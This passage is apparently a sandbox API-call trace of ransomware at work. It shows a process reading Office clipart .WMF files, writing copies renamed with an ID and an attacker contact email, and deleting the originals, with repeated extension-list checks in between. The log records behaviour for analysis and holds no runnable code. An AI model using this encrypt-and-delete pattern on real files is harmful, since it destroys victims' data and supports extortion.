	[0170.004] WriteFile (in: hFile=0x530, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xd80, lpOverlapped=0x0) returned 1
	[0170.005] ReadFile (in: hFile=0x538, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.005] WriteFile (in: hFile=0x530, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.006] SetEndOfFile (hFile=0x530) returned 1
	[0170.006] CloseHandle (hObject=0x530) returned 1
	[0170.006] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.006] SetEndOfFile (hFile=0x538) returned 1
	[0170.008] CloseHandle (hObject=0x538) returned 1
	[0170.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1
	[0170.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.010] lstrlenW (lpString=".doc") returned 4
	[0170.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.010] lstrlenW (lpString=".docx") returned 5
	[0170.010] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.010] lstrlenW (lpString=".pdf") returned 4
	[0170.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.010] lstrlenW (lpString=".xls") returned 4
	[0170.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.010] lstrlenW (lpString=".xlsx") returned 5
	[0170.010] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.010] lstrlenW (lpString=".ppt") returned 4
	[0170.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.010] lstrlenW (lpString=".zip") returned 4
	[0170.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.010] lstrlenW (lpString=".rar") returned 4
	[0170.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.010] lstrlenW (lpString=".bz2") returned 4
	[0170.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString=".7z") returned 3
	[0170.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.011] lstrlenW (lpString=".dbf") returned 4
	[0170.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.011] lstrlenW (lpString=".1cd") returned 4
	[0170.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.011] lstrlenW (lpString=".jpg") returned 4
	[0170.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.011] lstrlenW (lpString=".doc") returned 4
	[0170.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString=".docx") returned 5
	[0170.011] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.011] lstrlenW (lpString=".pdf") returned 4
	[0170.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString=".xls") returned 4
	[0170.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.011] lstrlenW (lpString=".xlsx") returned 5
	[0170.011] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.011] lstrlenW (lpString=".ppt") returned 4
	[0170.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.011] lstrlenW (lpString=".zip") returned 4
	[0170.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.011] lstrlenW (lpString=".rar") returned 4
	[0170.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString=".bz2") returned 4
	[0170.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.011] lstrlenW (lpString=".7z") returned 3
	[0170.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.012] lstrlenW (lpString=".dbf") returned 4
	[0170.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.012] lstrlenW (lpString=".1cd") returned 4
	[0170.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68
	[0170.012] lstrlenW (lpString=".jpg") returned 4
	[0170.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.012] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.012] lstrlenW (lpString="J0105288.WMF") returned 12
	[0170.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.013] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=15832) returned 1
	[0170.013] CloseHandle (hObject=0x538) returned 1
	[0170.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220
	[0170.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.013] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.013] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0170.014] GetLastError () returned 0x0
	[0170.014] ReadFile (in: hFile=0x538, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3dd8, lpOverlapped=0x0) returned 1
	[0170.016] WriteFile (in: hFile=0x530, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3de0, lpOverlapped=0x0) returned 1
	[0170.017] ReadFile (in: hFile=0x538, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.017] WriteFile (in: hFile=0x530, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.018] SetEndOfFile (hFile=0x530) returned 1
	[0170.018] CloseHandle (hObject=0x530) returned 1
	[0170.018] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.018] SetEndOfFile (hFile=0x538) returned 1
	[0170.021] CloseHandle (hObject=0x538) returned 1
	[0170.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1
	[0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.023] lstrlenW (lpString=".doc") returned 4
	[0170.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString=".docx") returned 5
	[0170.023] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.023] lstrlenW (lpString=".pdf") returned 4
	[0170.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString=".xls") returned 4
	[0170.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.023] lstrlenW (lpString=".xlsx") returned 5
	[0170.023] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.023] lstrlenW (lpString=".ppt") returned 4
	[0170.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.023] lstrlenW (lpString=".zip") returned 4
	[0170.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.023] lstrlenW (lpString=".rar") returned 4
	[0170.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString=".bz2") returned 4
	[0170.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString=".7z") returned 3
	[0170.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.023] lstrlenW (lpString=".dbf") returned 4
	[0170.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.023] lstrlenW (lpString=".1cd") returned 4
	[0170.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.023] lstrlenW (lpString=".jpg") returned 4
	[0170.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.024] lstrlenW (lpString=".doc") returned 4
	[0170.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.024] lstrlenW (lpString=".docx") returned 5
	[0170.024] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.024] lstrlenW (lpString=".pdf") returned 4
	[0170.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.024] lstrlenW (lpString=".xls") returned 4
	[0170.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.024] lstrlenW (lpString=".xlsx") returned 5
	[0170.024] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.024] lstrlenW (lpString=".ppt") returned 4
	[0170.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.024] lstrlenW (lpString=".zip") returned 4
	[0170.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.024] lstrlenW (lpString=".rar") returned 4
	[0170.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.024] lstrlenW (lpString=".bz2") returned 4
	[0170.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.024] lstrlenW (lpString=".7z") returned 3
	[0170.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.024] lstrlenW (lpString=".dbf") returned 4
	[0170.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.024] lstrlenW (lpString=".1cd") returned 4
	[0170.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0170.024] lstrlenW (lpString=".jpg") returned 4
	[0170.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.024] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.025] lstrlenW (lpString="J0105292.WMF") returned 12
	[0170.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.025] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=14868) returned 1
	[0170.025] CloseHandle (hObject=0x538) returned 1
	[0170.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220
	[0170.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.026] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.026] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0170.027] GetLastError () returned 0x0
	[0170.027] ReadFile (in: hFile=0x538, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3a14, lpOverlapped=0x0) returned 1
	[0170.029] WriteFile (in: hFile=0x534, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0170.030] ReadFile (in: hFile=0x538, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.030] WriteFile (in: hFile=0x534, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.030] SetEndOfFile (hFile=0x534) returned 1
	[0170.030] CloseHandle (hObject=0x534) returned 1
	[0170.030] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.030] SetEndOfFile (hFile=0x538) returned 1
	[0170.033] CloseHandle (hObject=0x538) returned 1
	[0170.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1
	[0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.034] lstrlenW (lpString=".doc") returned 4
	[0170.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.034] lstrlenW (lpString=".docx") returned 5
	[0170.034] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.034] lstrlenW (lpString=".pdf") returned 4
	[0170.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.034] lstrlenW (lpString=".xls") returned 4
	[0170.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.187] lstrlenW (lpString=".xlsx") returned 5
	[0170.187] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.187] lstrlenW (lpString=".ppt") returned 4
	[0170.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.187] lstrlenW (lpString=".zip") returned 4
	[0170.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.187] lstrlenW (lpString=".rar") returned 4
	[0170.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.187] lstrlenW (lpString=".bz2") returned 4
	[0170.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString=".7z") returned 3
	[0170.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.188] lstrlenW (lpString=".dbf") returned 4
	[0170.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.188] lstrlenW (lpString=".1cd") returned 4
	[0170.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.188] lstrlenW (lpString=".jpg") returned 4
	[0170.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.188] lstrlenW (lpString=".doc") returned 4
	[0170.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString=".docx") returned 5
	[0170.188] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.188] lstrlenW (lpString=".pdf") returned 4
	[0170.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString=".xls") returned 4
	[0170.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.188] lstrlenW (lpString=".xlsx") returned 5
	[0170.188] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.188] lstrlenW (lpString=".ppt") returned 4
	[0170.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.188] lstrlenW (lpString=".zip") returned 4
	[0170.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.188] lstrlenW (lpString=".rar") returned 4
	[0170.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString=".bz2") returned 4
	[0170.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.188] lstrlenW (lpString=".7z") returned 3
	[0170.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.189] lstrlenW (lpString=".dbf") returned 4
	[0170.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.189] lstrlenW (lpString=".1cd") returned 4
	[0170.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0170.189] lstrlenW (lpString=".jpg") returned 4
	[0170.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.189] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.189] lstrlenW (lpString="J0105338.WMF") returned 12
	[0170.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.255] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=11584) returned 1
	[0170.255] CloseHandle (hObject=0x4a4) returned 1
	[0170.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220
	[0170.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0170.833] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.834] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0171.472] GetLastError () returned 0x0
	[0171.472] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x2d40, lpOverlapped=0x0) returned 1
